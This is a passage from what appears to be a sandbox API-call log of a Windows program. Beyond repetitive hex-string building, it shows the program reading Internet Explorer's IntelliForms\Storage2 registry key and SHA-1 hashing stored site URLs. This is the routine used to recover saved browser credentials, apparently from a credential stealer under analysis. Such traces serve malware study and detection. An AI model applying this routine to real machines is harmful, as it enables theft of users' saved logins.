lpString1="5553F67CE6") returned="5553F67CE6" [0097.017] LocalFree (hMem=0x28ca380) returned 0x0 [0097.017] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="99") returned 2 [0097.017] lstrlenW (lpString="5553F67CE6") returned 10 [0097.017] lstrlenW (lpString="99") returned 2 [0097.017] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.017] lstrcpyW (in: lpString1=0x71cf460, lpString2="5553F67CE6" | out: lpString1="5553F67CE6") returned="5553F67CE6" [0097.017] lstrcatW (in: lpString1="5553F67CE6", lpString2="99" | out: lpString1="5553F67CE699") returned="5553F67CE699" [0097.017] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.017] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="06") returned 2 [0097.017] lstrlenW (lpString="5553F67CE699") returned 12 [0097.017] lstrlenW (lpString="06") returned 2 [0097.017] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.017] lstrcpyW (in: lpString1=0x71cfb40, lpString2="5553F67CE699" | out: lpString1="5553F67CE699") returned="5553F67CE699" [0097.017] lstrcatW (in: lpString1="5553F67CE699", lpString2="06" | out: lpString1="5553F67CE69906") returned="5553F67CE69906" [0097.017] LocalFree (hMem=0x71cf460) returned 0x0 [0097.017] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="96") returned 2 [0097.017] lstrlenW (lpString="5553F67CE69906") returned 14 [0097.017] lstrlenW (lpString="96") returned 2 [0097.017] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.017] lstrcpyW (in: lpString1=0x71cf460, lpString2="5553F67CE69906" | out: lpString1="5553F67CE69906") returned="5553F67CE69906" [0097.017] lstrcatW (in: lpString1="5553F67CE69906", lpString2="96" | out: lpString1="5553F67CE6990696") returned="5553F67CE6990696" [0097.017] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.017] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="71") returned 2 [0097.017] lstrlenW (lpString="5553F67CE6990696") returned 16 [0097.017] lstrlenW (lpString="71") returned 2 [0097.017] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.017] lstrcpyW (in: lpString1=0x71cfb40, lpString2="5553F67CE6990696" | out: lpString1="5553F67CE6990696") returned="5553F67CE6990696" [0097.017] lstrcatW (in: lpString1="5553F67CE6990696", lpString2="71" | out: lpString1="5553F67CE699069671") returned="5553F67CE699069671" [0097.017] LocalFree (hMem=0x71cf460) returned 0x0 [0097.017] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="78") returned 2 [0097.017] lstrlenW (lpString="5553F67CE699069671") returned 18 [0097.018] lstrlenW (lpString="78") returned 2 [0097.018] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.018] lstrcpyW (in: lpString1=0x7290b70, lpString2="5553F67CE699069671" | out: lpString1="5553F67CE699069671") returned="5553F67CE699069671" [0097.018] lstrcatW (in: lpString1="5553F67CE699069671", lpString2="78" | out: lpString1="5553F67CE69906967178") returned="5553F67CE69906967178" [0097.026] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.026] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="08") returned 2 [0097.026] lstrlenW (lpString="5553F67CE69906967178") returned 20 [0097.026] lstrlenW (lpString="08") returned 2 [0097.026] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.026] lstrcpyW (in: lpString1=0x72912f0, lpString2="5553F67CE69906967178" | out: lpString1="5553F67CE69906967178") returned="5553F67CE69906967178" [0097.026] lstrcatW (in: lpString1="5553F67CE69906967178", lpString2="08" | out: lpString1="5553F67CE6990696717808") returned="5553F67CE6990696717808" [0097.026] LocalFree (hMem=0x7290b70) returned 0x0 [0097.026] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.026] lstrlenW (lpString="5553F67CE6990696717808") returned 22 [0097.026] lstrlenW (lpString="85") returned 2 [0097.026] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.026] lstrcpyW (in: lpString1=0x7290b70, lpString2="5553F67CE6990696717808" | out: lpString1="5553F67CE6990696717808") returned="5553F67CE6990696717808" [0097.026] lstrcatW (in: lpString1="5553F67CE6990696717808", lpString2="85" | out: lpString1="5553F67CE699069671780885") returned="5553F67CE699069671780885" [0097.026] LocalFree (hMem=0x72912f0) returned 0x0 [0097.026] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="04") returned 2 [0097.026] lstrlenW (lpString="5553F67CE699069671780885") returned 24 [0097.026] lstrlenW (lpString="04") returned 2 [0097.026] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.026] lstrcpyW (in: lpString1=0x72912f0, lpString2="5553F67CE699069671780885" | out: lpString1="5553F67CE699069671780885") returned="5553F67CE699069671780885" [0097.026] lstrcatW (in: lpString1="5553F67CE699069671780885", lpString2="04" | out: lpString1="5553F67CE69906967178088504") returned="5553F67CE69906967178088504" [0097.026] LocalFree (hMem=0x7290b70) returned 0x0 [0097.026] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="83") returned 2 [0097.026] lstrlenW (lpString="5553F67CE69906967178088504") returned 26 [0097.026] lstrlenW (lpString="83") returned 2 [0097.027] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815a80 [0097.027] lstrcpyW (in: lpString1=0x2815a80, lpString2="5553F67CE69906967178088504" | out: lpString1="5553F67CE69906967178088504") returned="5553F67CE69906967178088504" [0097.027] lstrcatW (in: lpString1="5553F67CE69906967178088504", lpString2="83" | out: lpString1="5553F67CE6990696717808850483") returned="5553F67CE6990696717808850483" [0097.027] LocalFree (hMem=0x72912f0) returned 0x0 [0097.027] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6B") returned 2 [0097.027] lstrlenW (lpString="5553F67CE6990696717808850483") returned 28 [0097.027] lstrlenW (lpString="6B") returned 2 [0097.027] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.027] lstrcpyW (in: lpString1=0x2815670, lpString2="5553F67CE6990696717808850483" | out: lpString1="5553F67CE6990696717808850483") returned="5553F67CE6990696717808850483" [0097.027] lstrcatW (in: lpString1="5553F67CE6990696717808850483", lpString2="6B" | out: lpString1="5553F67CE69906967178088504836B") returned="5553F67CE69906967178088504836B" [0097.027] LocalFree (hMem=0x2815a80) returned 0x0 [0097.027] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6F") returned 2 [0097.027] lstrlenW (lpString="5553F67CE69906967178088504836B") returned 30 [0097.027] lstrlenW (lpString="6F") returned 2 [0097.027] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815a80 [0097.027] lstrcpyW (in: lpString1=0x2815a80, lpString2="5553F67CE69906967178088504836B" | out: lpString1="5553F67CE69906967178088504836B") returned="5553F67CE69906967178088504836B" [0097.027] lstrcatW (in: lpString1="5553F67CE69906967178088504836B", lpString2="6F" | out: lpString1="5553F67CE69906967178088504836B6F") returned="5553F67CE69906967178088504836B6F" [0097.027] LocalFree (hMem=0x2815670) returned 0x0 [0097.027] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FD") returned 2 [0097.027] lstrlenW (lpString="5553F67CE69906967178088504836B6F") returned 32 [0097.027] lstrlenW (lpString="FD") returned 2 [0097.027] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.027] lstrcpyW (in: lpString1=0x2815670, lpString2="5553F67CE69906967178088504836B6F" | out: lpString1="5553F67CE69906967178088504836B6F") returned="5553F67CE69906967178088504836B6F" [0097.027] lstrcatW (in: lpString1="5553F67CE69906967178088504836B6F", lpString2="FD" | out: lpString1="5553F67CE69906967178088504836B6FFD") returned="5553F67CE69906967178088504836B6FFD" [0097.027] LocalFree (hMem=0x2815a80) returned 0x0 [0097.027] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="75") returned 2 [0097.027] lstrlenW (lpString="5553F67CE69906967178088504836B6FFD") returned 34 [0097.027] lstrlenW (lpString="75") returned 2 [0097.027] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.027] lstrcpyW (in: lpString1=0x28e7910, lpString2="5553F67CE69906967178088504836B6FFD" | out: lpString1="5553F67CE69906967178088504836B6FFD") returned="5553F67CE69906967178088504836B6FFD" [0097.027] lstrcatW (in: lpString1="5553F67CE69906967178088504836B6FFD", lpString2="75" | out: lpString1="5553F67CE69906967178088504836B6FFD75") returned="5553F67CE69906967178088504836B6FFD75" [0097.027] LocalFree (hMem=0x2815670) returned 0x0 [0097.027] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AE") returned 2 [0097.027] lstrlenW (lpString="5553F67CE69906967178088504836B6FFD75") returned 36 [0097.027] lstrlenW (lpString="AE") returned 2 [0097.027] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.027] lstrcpyW (in: lpString1=0x28e7670, lpString2="5553F67CE69906967178088504836B6FFD75" | out: lpString1="5553F67CE69906967178088504836B6FFD75") returned="5553F67CE69906967178088504836B6FFD75" [0097.027] lstrcatW (in: lpString1="5553F67CE69906967178088504836B6FFD75", lpString2="AE" | out: lpString1="5553F67CE69906967178088504836B6FFD75AE") returned="5553F67CE69906967178088504836B6FFD75AE" [0097.028] LocalFree (hMem=0x28e7910) returned 0x0 [0097.028] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="85") returned 2 [0097.028] lstrlenW (lpString="5553F67CE69906967178088504836B6FFD75AE") returned 38 [0097.028] lstrlenW (lpString="85") returned 2 [0097.028] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.028] lstrcpyW (in: lpString1=0x28e7910, lpString2="5553F67CE69906967178088504836B6FFD75AE" | out: lpString1="5553F67CE69906967178088504836B6FFD75AE") returned="5553F67CE69906967178088504836B6FFD75AE" [0097.028] lstrcatW (in: lpString1="5553F67CE69906967178088504836B6FFD75AE", lpString2="85" | out: lpString1="5553F67CE69906967178088504836B6FFD75AE85") returned="5553F67CE69906967178088504836B6FFD75AE85" [0097.028] LocalFree (hMem=0x28e7670) returned 0x0 [0097.028] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0097.028] lstrlenW (lpString="5553F67CE69906967178088504836B6FFD75AE85") returned 40 [0097.028] lstrlenW (lpString="B1") returned 2 [0097.028] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.028] lstrcpyW (in: lpString1=0x28e7670, lpString2="5553F67CE69906967178088504836B6FFD75AE85" | out: lpString1="5553F67CE69906967178088504836B6FFD75AE85") returned="5553F67CE69906967178088504836B6FFD75AE85" [0097.028] lstrcatW (in: lpString1="5553F67CE69906967178088504836B6FFD75AE85", lpString2="B1" | out: lpString1="5553F67CE69906967178088504836B6FFD75AE85B1") returned="5553F67CE69906967178088504836B6FFD75AE85B1" [0097.028] LocalFree (hMem=0x28e7910) returned 0x0 [0097.028] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.028] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.028] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.028] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.028] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.028] LocalFree (hMem=0x28e7670) returned 0x0 [0097.028] RegEnumValueW (in: hKey=0x368, dwIndex=0x29, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url9", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.028] StrStrIW (lpFirst="indiatimes.com", lpSrch="?") returned 0x0 [0097.028] StrStrIW (lpFirst="indiatimes.com", lpSrch="http://") returned 0x0 [0097.028] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.029] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.029] lstrlenW (lpString="indiatimes.com") returned 14 [0097.029] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x1e, dwFlags=0x0) returned 1 [0097.029] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.029] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.029] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.029] RegEnumValueW (in: hKey=0x368, dwIndex=0x2a, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url8", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.029] StrStrIW (lpFirst="mega.nz", lpSrch="?") returned 0x0 [0097.029] StrStrIW (lpFirst="mega.nz", lpSrch="http://") returned 0x0 [0097.029] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.030] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.030] lstrlenW (lpString="mega.nz") returned 7 [0097.030] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x10, dwFlags=0x0) returned 1 [0097.030] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.030] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F3") returned 2 [0097.030] lstrlenW (lpString="") returned 0 [0097.030] lstrlenW (lpString="F3") returned 2 [0097.030] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.030] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.030] lstrcatW (in: lpString1="", lpString2="F3" | out: lpString1="F3") returned="F3" [0097.030] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2C") returned 2 [0097.030] lstrlenW (lpString="F3") returned 2 [0097.030] lstrlenW (lpString="2C") returned 2 [0097.030] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0097.030] lstrcpyW (in: lpString1=0x28c81c0, lpString2="F3" | out: lpString1="F3") returned="F3" [0097.030] lstrcatW (in: lpString1="F3", lpString2="2C" | out: lpString1="F32C") returned="F32C" [0097.030] LocalFree (hMem=0x7222e70) returned 0x0 [0097.030] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4D") returned 2 [0097.030] lstrlenW (lpString="F32C") returned 4 [0097.030] lstrlenW (lpString="4D") returned 2 [0097.030] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0097.030] lstrcpyW (in: lpString1=0x28ca380, lpString2="F32C" | out: lpString1="F32C") returned="F32C" [0097.030] lstrcatW (in: lpString1="F32C", lpString2="4D" | out: lpString1="F32C4D") returned="F32C4D" [0097.030] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.030] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E6") returned 2 [0097.030] lstrlenW (lpString="F32C4D") returned 6 [0097.030] lstrlenW (lpString="E6") returned 2 [0097.030] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0097.030] lstrcpyW (in: lpString1=0x28c81c0, lpString2="F32C4D" | out: lpString1="F32C4D") returned="F32C4D" [0097.030] lstrcatW (in: lpString1="F32C4D", lpString2="E6" | out: lpString1="F32C4DE6") returned="F32C4DE6" [0097.030] LocalFree (hMem=0x28ca380) returned 0x0 [0097.030] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C9") returned 2 [0097.030] lstrlenW (lpString="F32C4DE6") returned 8 [0097.030] lstrlenW (lpString="C9") returned 2 [0097.030] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0097.030] lstrcpyW (in: lpString1=0x28ca380, lpString2="F32C4DE6" | out: lpString1="F32C4DE6") returned="F32C4DE6" [0097.030] lstrcatW (in: lpString1="F32C4DE6", lpString2="C9" | out: lpString1="F32C4DE6C9") returned="F32C4DE6C9" [0097.031] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.031] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A9") returned 2 [0097.031] lstrlenW (lpString="F32C4DE6C9") returned 10 [0097.031] lstrlenW (lpString="A9") returned 2 [0097.031] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.031] lstrcpyW (in: lpString1=0x71cfb40, lpString2="F32C4DE6C9" | out: lpString1="F32C4DE6C9") returned="F32C4DE6C9" [0097.031] lstrcatW (in: lpString1="F32C4DE6C9", lpString2="A9" | out: lpString1="F32C4DE6C9A9") returned="F32C4DE6C9A9" [0097.031] LocalFree (hMem=0x28ca380) returned 0x0 [0097.031] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="02") returned 2 [0097.031] lstrlenW (lpString="F32C4DE6C9A9") returned 12 [0097.031] lstrlenW (lpString="02") returned 2 [0097.031] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.031] lstrcpyW (in: lpString1=0x71cf460, lpString2="F32C4DE6C9A9" | out: lpString1="F32C4DE6C9A9") returned="F32C4DE6C9A9" [0097.031] lstrcatW (in: lpString1="F32C4DE6C9A9", lpString2="02" | out: lpString1="F32C4DE6C9A902") returned="F32C4DE6C9A902" [0097.031] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.031] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E1") returned 2 [0097.031] lstrlenW (lpString="F32C4DE6C9A902") returned 14 [0097.031] lstrlenW (lpString="E1") returned 2 [0097.031] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.031] lstrcpyW (in: lpString1=0x71cfb40, lpString2="F32C4DE6C9A902" | out: lpString1="F32C4DE6C9A902") returned="F32C4DE6C9A902" [0097.031] lstrcatW (in: lpString1="F32C4DE6C9A902", lpString2="E1" | out: lpString1="F32C4DE6C9A902E1") returned="F32C4DE6C9A902E1" [0097.031] LocalFree (hMem=0x71cf460) returned 0x0 [0097.031] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BA") returned 2 [0097.031] lstrlenW (lpString="F32C4DE6C9A902E1") returned 16 [0097.031] lstrlenW (lpString="BA") returned 2 [0097.031] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.031] lstrcpyW (in: lpString1=0x71cf460, lpString2="F32C4DE6C9A902E1" | out: lpString1="F32C4DE6C9A902E1") returned="F32C4DE6C9A902E1" [0097.031] lstrcatW (in: lpString1="F32C4DE6C9A902E1", lpString2="BA" | out: lpString1="F32C4DE6C9A902E1BA") returned="F32C4DE6C9A902E1BA" [0097.031] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.031] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0D") returned 2 [0097.031] lstrlenW (lpString="F32C4DE6C9A902E1BA") returned 18 [0097.031] lstrlenW (lpString="0D") returned 2 [0097.031] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.031] lstrcpyW (in: lpString1=0x72912f0, lpString2="F32C4DE6C9A902E1BA" | out: lpString1="F32C4DE6C9A902E1BA") returned="F32C4DE6C9A902E1BA" [0097.031] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA", lpString2="0D" | out: lpString1="F32C4DE6C9A902E1BA0D") returned="F32C4DE6C9A902E1BA0D" [0097.031] LocalFree (hMem=0x71cf460) returned 0x0 [0097.031] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="ED") returned 2 [0097.031] lstrlenW (lpString="F32C4DE6C9A902E1BA0D") returned 20 [0097.031] lstrlenW (lpString="ED") returned 2 [0097.032] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.032] lstrcpyW (in: lpString1=0x7290b70, lpString2="F32C4DE6C9A902E1BA0D" | out: lpString1="F32C4DE6C9A902E1BA0D") returned="F32C4DE6C9A902E1BA0D" [0097.032] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0D", lpString2="ED" | out: lpString1="F32C4DE6C9A902E1BA0DED") returned="F32C4DE6C9A902E1BA0DED" [0097.032] LocalFree (hMem=0x72912f0) returned 0x0 [0097.032] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CD") returned 2 [0097.032] lstrlenW (lpString="F32C4DE6C9A902E1BA0DED") returned 22 [0097.032] lstrlenW (lpString="CD") returned 2 [0097.032] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.032] lstrcpyW (in: lpString1=0x72912f0, lpString2="F32C4DE6C9A902E1BA0DED" | out: lpString1="F32C4DE6C9A902E1BA0DED") returned="F32C4DE6C9A902E1BA0DED" [0097.032] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DED", lpString2="CD" | out: lpString1="F32C4DE6C9A902E1BA0DEDCD") returned="F32C4DE6C9A902E1BA0DEDCD" [0097.032] LocalFree (hMem=0x7290b70) returned 0x0 [0097.032] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0097.032] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCD") returned 24 [0097.032] lstrlenW (lpString="B1") returned 2 [0097.032] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.032] lstrcpyW (in: lpString1=0x7290b70, lpString2="F32C4DE6C9A902E1BA0DEDCD" | out: lpString1="F32C4DE6C9A902E1BA0DEDCD") returned="F32C4DE6C9A902E1BA0DEDCD" [0097.032] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DEDCD", lpString2="B1" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1") returned="F32C4DE6C9A902E1BA0DEDCDB1" [0097.032] LocalFree (hMem=0x72912f0) returned 0x0 [0097.032] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E7") returned 2 [0097.032] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCDB1") returned 26 [0097.032] lstrlenW (lpString="E7") returned 2 [0097.032] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.032] lstrcpyW (in: lpString1=0x2815670, lpString2="F32C4DE6C9A902E1BA0DEDCDB1" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1") returned="F32C4DE6C9A902E1BA0DEDCDB1" [0097.032] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DEDCDB1", lpString2="E7" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7") returned="F32C4DE6C9A902E1BA0DEDCDB1E7" [0097.032] LocalFree (hMem=0x7290b70) returned 0x0 [0097.032] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="95") returned 2 [0097.032] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCDB1E7") returned 28 [0097.032] lstrlenW (lpString="95") returned 2 [0097.032] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.032] lstrcpyW (in: lpString1=0x2815a80, lpString2="F32C4DE6C9A902E1BA0DEDCDB1E7" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7") returned="F32C4DE6C9A902E1BA0DEDCDB1E7" [0097.032] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7", lpString2="95" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E795") returned="F32C4DE6C9A902E1BA0DEDCDB1E795" [0097.032] LocalFree (hMem=0x2815670) returned 0x0 [0097.032] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8F") returned 2 [0097.032] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCDB1E795") returned 30 [0097.032] lstrlenW (lpString="8F") returned 2 [0097.032] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.032] lstrcpyW (in: lpString1=0x2815670, lpString2="F32C4DE6C9A902E1BA0DEDCDB1E795" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E795") returned="F32C4DE6C9A902E1BA0DEDCDB1E795" [0097.032] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E795", lpString2="8F" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F" [0097.033] LocalFree (hMem=0x2815a80) returned 0x0 [0097.033] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5D") returned 2 [0097.033] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCDB1E7958F") returned 32 [0097.033] lstrlenW (lpString="5D") returned 2 [0097.033] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.033] lstrcpyW (in: lpString1=0x2815a80, lpString2="F32C4DE6C9A902E1BA0DEDCDB1E7958F" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F" [0097.033] lstrcatW (in: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F", lpString2="5D" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D" [0097.033] LocalFree (hMem=0x2815670) returned 0x0 [0097.033] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="52") returned 2 [0097.033] lstrlenW (lpString="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D") returned 34 [0097.033] lstrlenW (lpString="52") returned 2 [0097.033] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.033] lstrcpyW (in: lpString1=0x28e7670, lpString2="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D" | out: lpString1="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D") returned="F32C4DE6C9A902E1BA0DEDCDB1E7958F5D" [0097.033] lstrcatW (in: 